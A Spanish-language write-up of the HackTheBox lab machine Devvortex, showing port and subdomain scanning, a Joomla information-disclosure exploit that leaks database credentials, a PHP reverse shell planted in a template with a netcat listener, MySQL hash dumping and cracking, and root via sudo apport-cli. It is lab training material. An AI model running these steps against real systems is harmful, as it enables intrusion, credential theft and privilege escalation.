Devvortex es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Devvortex 10.129.168.252 a /etc/hosts como devvortex.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.168.252 Nmap scan report for 10.129.168.252 Host is up, received echo-reply ttl 63 (0.085s latency). Scanned at 2023-11-27 07:23:17 GMT for 14s Not shown: 65100 closed tcp ports (reset), 433 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Mon Nov 27 07:23:32 2023 -- 1 IP address (1 host up) scanned in 15.04 seconds |
Lanzado el primer escaneo para detectar los puertos abiertos lanzamos uno más detallado sobre los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.129.168.252 Nmap scan report for 10.129.168.252 Host is up (0.043s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://devvortex.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Nov 27 07:23:52 2023 -- 1 IP address (1 host up) scanned in 9.55 seconds |
Enumeración
Accedemos al portal web en el puerto 80 el cual nos redirecciona a devvortex.htb y nos muestra la siguiente web

Navegamos por el portal pero no vemos gran cosa así que enumeramos subdominios
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
$ ffuf -u http://devvortex.htb -w /data/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.devvortex.htb" -t 100 -fs 154 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.0.0-dev ________________________________________________ :: Method : GET :: URL : http://devvortex.htb :: Wordlist : FUZZ: /data/tools/SecLists/Discovery/DNS/subdomains-top1million-110000.txt :: Header : Host: FUZZ.devvortex.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 100 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500 :: Filter : Response size: 154 ________________________________________________ [Status: 200, Size: 23221, Words: 5081, Lines: 502, Duration: 118ms] * FUZZ: dev :: Progress: [114441/114441] :: Job [1/1] :: 1466 req/sec :: Duration: [0:01:12] :: Errors: 0 :: |
Y encontramos el subdominio dev.devvortex.htb por lo que lo añadimos al fichero hosts y accedemos viendo otro portal web

A simple vista no vemos tampoco gran cosa así que enumeramos directorios
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 |
$ feroxbuster -u http://dev.devvortex.htb/ -k -x txt,html,php,md -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://dev.devvortex.htb/ 🚀 Threads │ 100 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [txt, html, php, md] 🏁 HTTP methods │ [GET] 🔓 Insecure │ true 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 69l 208w 3653c http://dev.devvortex.htb/logs 404 GET 69l 208w 3653c http://dev.devvortex.htb/bin 404 GET 69l 208w 3653c http://dev.devvortex.htb/installation 403 GET 7l 10w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 69l 208w 3653c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 1l 3w 54c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 1l 3w 16c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 1l 3w 16c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 69l 208w 3653c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 301 GET 7l 12w 178c http://dev.devvortex.htb/plugins => http://dev.devvortex.htb/plugins/ 301 GET 7l 12w 178c http://dev.devvortex.htb/plugins/user => http://dev.devvortex.htb/plugins/user/ 301 GET 7l 12w 178c http://dev.devvortex.htb/plugins/content => http://dev.devvortex.htb/plugins/content/ 301 GET 7l 12w 178c http://dev.devvortex.htb/includes => http://dev.devvortex.htb/includes/ 301 GET 7l 12w 178c http://dev.devvortex.htb/cli => http://dev.devvortex.htb/cli/ 301 GET 7l 12w 178c http://dev.devvortex.htb/layouts => http://dev.devvortex.htb/layouts/ 301 GET 7l 12w 178c http://dev.devvortex.htb/layouts/plugins => http://dev.devvortex.htb/layouts/plugins/ 301 GET 7l 12w 178c http://dev.devvortex.htb/layouts/libraries => http://dev.devvortex.htb/layouts/libraries/ 301 GET 7l 12w 178c http://dev.devvortex.htb/language => http://dev.devvortex.htb/language/ 301 GET 7l 12w 178c http://dev.devvortex.htb/tmp => http://dev.devvortex.htb/tmp/ 301 GET 7l 12w 178c http://dev.devvortex.htb/api/components => http://dev.devvortex.htb/api/components/ 301 GET 7l 12w 178c http://dev.devvortex.htb/api/language => http://dev.devvortex.htb/api/language/ 301 GET 7l 12w 178c http://dev.devvortex.htb/api/includes => http://dev.devvortex.htb/api/includes/ 301 GET 7l 12w 178c http://dev.devvortex.htb/modules => http://dev.devvortex.htb/modules/ 301 GET 7l 12w 178c http://dev.devvortex.htb/cache => http://dev.devvortex.htb/cache/ 301 GET 7l 12w 178c http://dev.devvortex.htb/components => http://dev.devvortex.htb/components/ 301 GET 7l 12w 178c http://dev.devvortex.htb/templates => http://dev.devvortex.htb/templates/ 301 GET 7l 12w 178c http://dev.devvortex.htb/media => http://dev.devvortex.htb/media/ 301 GET 7l 12w 178c http://dev.devvortex.htb/images => http://dev.devvortex.htb/images/ 301 GET 7l 12w 178c http://dev.devvortex.htb/administrator => http://dev.devvortex.htb/administrator/ 301 GET 7l 12w 178c http://dev.devvortex.htb/libraries => http://dev.devvortex.htb/libraries/ 301 GET 7l 12w 178c http://dev.devvortex.htb/api => http://dev.devvortex.htb/api/ 301 GET 7l 12w 178c http://dev.devvortex.htb/administrator/logs => http://dev.devvortex.htb/administrator/logs/ 301 GET 7l 12w 178c http://dev.devvortex.htb/plugins/system => http://dev.devvortex.htb/plugins/system/ 301 GET 7l 12w 178c http://dev.devvortex.htb/media/cache => http://dev.devvortex.htb/media/cache/ 301 GET 7l 12w 178c http://dev.devvortex.htb/media/templates => http://dev.devvortex.htb/media/templates/ 200 GET 1l 2w 31c http://dev.devvortex.htb/tmp/index.html 404 GET 0l 0w 0c http://dev.devvortex.htb/includes/downloads 404 GET 0l 0w 0c http://dev.devvortex.htb/cli/page 404 GET 0l 0w 0c http://dev.devvortex.htb/cli/comments 404 GET 0l 0w 0c http://dev.devvortex.htb/cli/en 404 GET 0l 0w 0c http://dev.devvortex.htb/cli/forums 200 GET 1l 2w 31c http://dev.devvortex.htb/plugins/index.html 200 GET 1l 2w 31c http://dev.devvortex.htb/components/index.html 200 GET 1l 2w 31c http://dev.devvortex.htb/libraries/index.html 200 GET 1l 2w 31c http://dev.devvortex.htb/cache/index.html 301 GET 7l 12w 178c http://dev.devvortex.htb/plugins/captcha => http://dev.devvortex.htb/plugins/captcha/ 200 GET 1l 2w 31c http://dev.devvortex.htb/modules/index.html 200 GET 1l 2w 31c http://dev.devvortex.htb/includes/index.html 301 GET 7l 12w 178c http://dev.devvortex.htb/media/system => http://dev.devvortex.htb/media/system/ 301 GET 7l 12w 178c http://dev.devvortex.htb/plugins/content/contact => http://dev.devvortex.htb/plugins/content/contact/ 200 GET 1l 2w 31c http://dev.devvortex.htb/language/index.html 200 GET 1l 2w 31c http://dev.devvortex.htb/cli/index.html 301 GET 7l 12w 178c http://dev.devvortex.htb/templates/system => http://dev.devvortex.htb/templates/system/ 200 GET 1l 2w 31c http://dev.devvortex.htb/layouts/index.html 301 GET 7l 12w 178c http://dev.devvortex.htb/plugins/system/stats => http://dev.devvortex.htb/plugins/system/stats/ 301 GET 7l 12w 178c http://dev.devvortex.htb/plugins/system/logout => http://dev.devvortex.htb/plugins/system/logout/ 200 GET 1l 2w 31c http://dev.devvortex.htb/media/index.html 301 GET 7l 12w 178c http://dev.devvortex.htb/plugins/system/cache => http://dev.devvortex.htb/plugins/system/cache/ 301 GET 7l 12w 178c http://dev.devvortex.htb/plugins/privacy => http://dev.devvortex.htb/plugins/privacy/ 301 GET 7l 12w 178c http://dev.devvortex.htb/layouts/libraries/html => http://dev.devvortex.htb/layouts/libraries/html/ 200 GET 1l 2w 31c http://dev.devvortex.htb/templates/index.html 301 GET 7l 12w 178c http://dev.devvortex.htb/media/templates/administrator => http://dev.devvortex.htb/media/templates/administrator/ 301 GET 7l 12w 178c http://dev.devvortex.htb/layouts/plugins/user => http://dev.devvortex.htb/layouts/plugins/user/ |
Y vemos uno interesante que apunta a la uri /administrator y nos lleva a un panel de login del CMS joomla

Si buscamos los ficheros típicos encontramos el fichero readme y en el mismo la versión del CMS

Si buscamos en google encontramos que hay un cve asignado, CVE-2023-23752, el cual permite la obtención de información del portal sin necesidad de autenticación y si buscamos un poco más encontramos un exploit para llevar a cabo dicho ataque.
Así que descargamos el script y lo ejecutamos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ ruby cve-2023-23752.rb http://dev.devvortex.htb Users [649] lewis (lewis) - lewis@devvortex.htb - Super Users [650] logan paul (logan) - logan@devvortex.htb - Registered Site info Site name: Development Editor: tinymce Captcha: 0 Access: 1 Debug status: false Database info DB type: mysqli DB host: localhost DB user: lewis DB password: P4ntherg0t1n5r3c0n## DB name: joomla DB prefix: sd4fg_ DB encryption 0 |
Con las credenciales encontradas accedemos al panel de admin de joomla

Somos admin en el CMS así que para obtener una revshell vamos a la forma más sencilla, editar la plantilla del tema actual para que ejecute un código malicioso que nos permita acceder al sistema.
Nos vamos a system -> site templates

Editaremos el fichero error.php añadiendo una revshell en php

Y guardaremos los cambios realizados

Ahora accedemos a cualquier página que nos pueda devolver un error, por ejemplo forzar un 404 contra un fichero que no exista, y obtendremos una shell como www-data
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.28] from (UNKNOWN) [10.129.168.252] 49898 Linux devvortex 5.4.0-167-generic #184-Ubuntu SMP Tue Oct 31 09:21:49 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux 08:17:59 up 8:58, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data $ $ script /dev/null -c bash Script started, file is /dev/null www-data@devvortex:/$ |
Con las credenciales anteriores conectamos al mysql existente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
www-data@devvortex:~/dev.devvortex.htb$ mysql -u lewis -pP4ntherg0t1n5r3c0n## mysql -u lewis -pP4ntherg0t1n5r3c0n## mysql: [Warning] Using a password on the command line interface can be insecure. Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 2850 Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu) Copyright (c) 2000, 2023, Oracle and/or its affiliates. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> show databases; show databases; +--------------------+ | Database | +--------------------+ | information_schema | | joomla | | performance_schema | +--------------------+ 3 rows in set (0.01 sec) mysql> use joomla use joomla Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> |
Extraemos los datos de los usuarios existentes
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
mysql> select * from sd4fg_users\G select * from sd4fg_users\G *************************** 1. row *************************** id: 649 name: lewis username: lewis email: lewis@devvortex.htb password: $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u block: 0 sendEmail: 1 registerDate: 2023-09-25 16:44:24 lastvisitDate: 2023-11-27 08:11:32 activation: 0 params: lastResetTime: NULL resetCount: 0 otpKey: otep: requireReset: 0 authProvider: *************************** 2. row *************************** id: 650 name: logan paul username: logan email: logan@devvortex.htb password: $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 block: 0 sendEmail: 0 registerDate: 2023-09-26 19:15:42 lastvisitDate: NULL activation: params: {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"} lastResetTime: NULL resetCount: 0 otpKey: otep: requireReset: 0 authProvider: 2 rows in set (0.00 sec) |
Y pasamos el hash del usuario logan por john, obteniendo así su password en plano
|
1 2 3 4 5 6 7 8 9 10 |
$ john logan.hash -w=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (bcrypt [Blowfish 32/64 X3]) Cost 1 (iteration count) is 1024 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status tequieromucho (?) 1g 0:00:00:18 DONE (2023-11-27 08:21) 0.05382g/s 75.56p/s 75.56c/s 75.56C/s kelvin..harry Use the "--show" option to display all of the cracked passwords reliably Session completed. |
Obteniendo la flag de user
Con las credenciales del usuario conectamos por ssh y cogemos la primera flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
$ ssh logan@devvortex.htb logan@devvortex.htb's password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-167-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon 27 Nov 2023 08:23:11 AM UTC System load: 0.0 Usage of /: 65.2% of 4.76GB Memory usage: 18% Swap usage: 0% Processes: 168 Users logged in: 0 IPv4 address for eth0: 10.129.168.252 IPv6 address for eth0: dead:beef::250:56ff:fe96:3508 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status Last login: Tue Nov 21 10:53:48 2023 from 10.10.14.23 logan@devvortex:~$ id uid=1000(logan) gid=1000(logan) groups=1000(logan) logan@devvortex:~$ ls -l total 4 -rw-r----- 1 root logan 33 Nov 26 23:20 user.txt logan@devvortex:~$ cat user.txt f534c49f49137c7d724e0b80352730d9 |
Escalado de privilegios
Una vez dentro de la máquina revisamos los permisos del usuario
|
1 2 3 4 5 6 7 |
logan@devvortex:~$ sudo -l [sudo] password for logan: Matching Defaults entries for logan on devvortex: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User logan may run the following commands on devvortex: (ALL : ALL) /usr/bin/apport-cli |
Y vemos que puede ejecutar apport-cli como root por lo que vamos a google a ver que encontramos al respecto y encontramos una poc en la que se explica que es posible escalar privilegios cuando se visualiza un informe de crash ejecutando el binario como root.
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/2016023
Forzamos varias ejecuciones en el sistema y veremos como se genera el informe de crash
|
1 2 3 |
logan@devvortex:/var/crash$ ls -l total 32 -rw-r----- 1 root root 30728 Nov 27 08:28 _usr_bin_apport-cli.0.crash |
Una vez generado lanzamos el binario y visualizamos el informe, consiguiendo con ello escalar a root
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
logan@devvortex:/var/crash$ sudo /usr/bin/apport-cli -c _usr_bin_apport-cli.0.crash *** Send problem report to the developers? After the problem report has been sent, please fill out the form in the automatically opened web browser. What would you like to do? Your options are: S: Send report (30.2 KB) V: View report K: Keep report file for sending later or copying to somewhere else I: Cancel and ignore future crashes of this program version C: Cancel Please choose (S/V/K/I/C): v *** Collecting problem information The collected information can be sent to the developers to improve the application. This might take a few minutes. ... ... root@devvortex:/var/crash# |
Obteniendo la flag de root
Como broche final, verificamos la identidad y vamos a por la flag
|
1 2 3 4 |
root@devvortex:/var/crash# id uid=0(root) gid=0(root) groups=0(root) root@devvortex:/var/crash# cat /root/root.txt 70824c9c3f6b712c66db0007111dcb61 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










